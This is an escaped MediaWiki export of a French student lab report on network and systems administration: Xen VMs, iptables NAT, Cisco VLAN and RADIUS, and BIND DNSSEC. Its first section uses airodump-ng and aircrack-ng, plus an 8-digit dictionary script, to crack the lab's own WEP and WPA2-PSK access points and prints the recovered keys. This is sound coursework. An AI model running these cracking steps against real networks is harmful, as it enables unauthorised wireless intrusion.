La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12264</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12264"/>
		<updated>2026-02-12T16:04:25Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
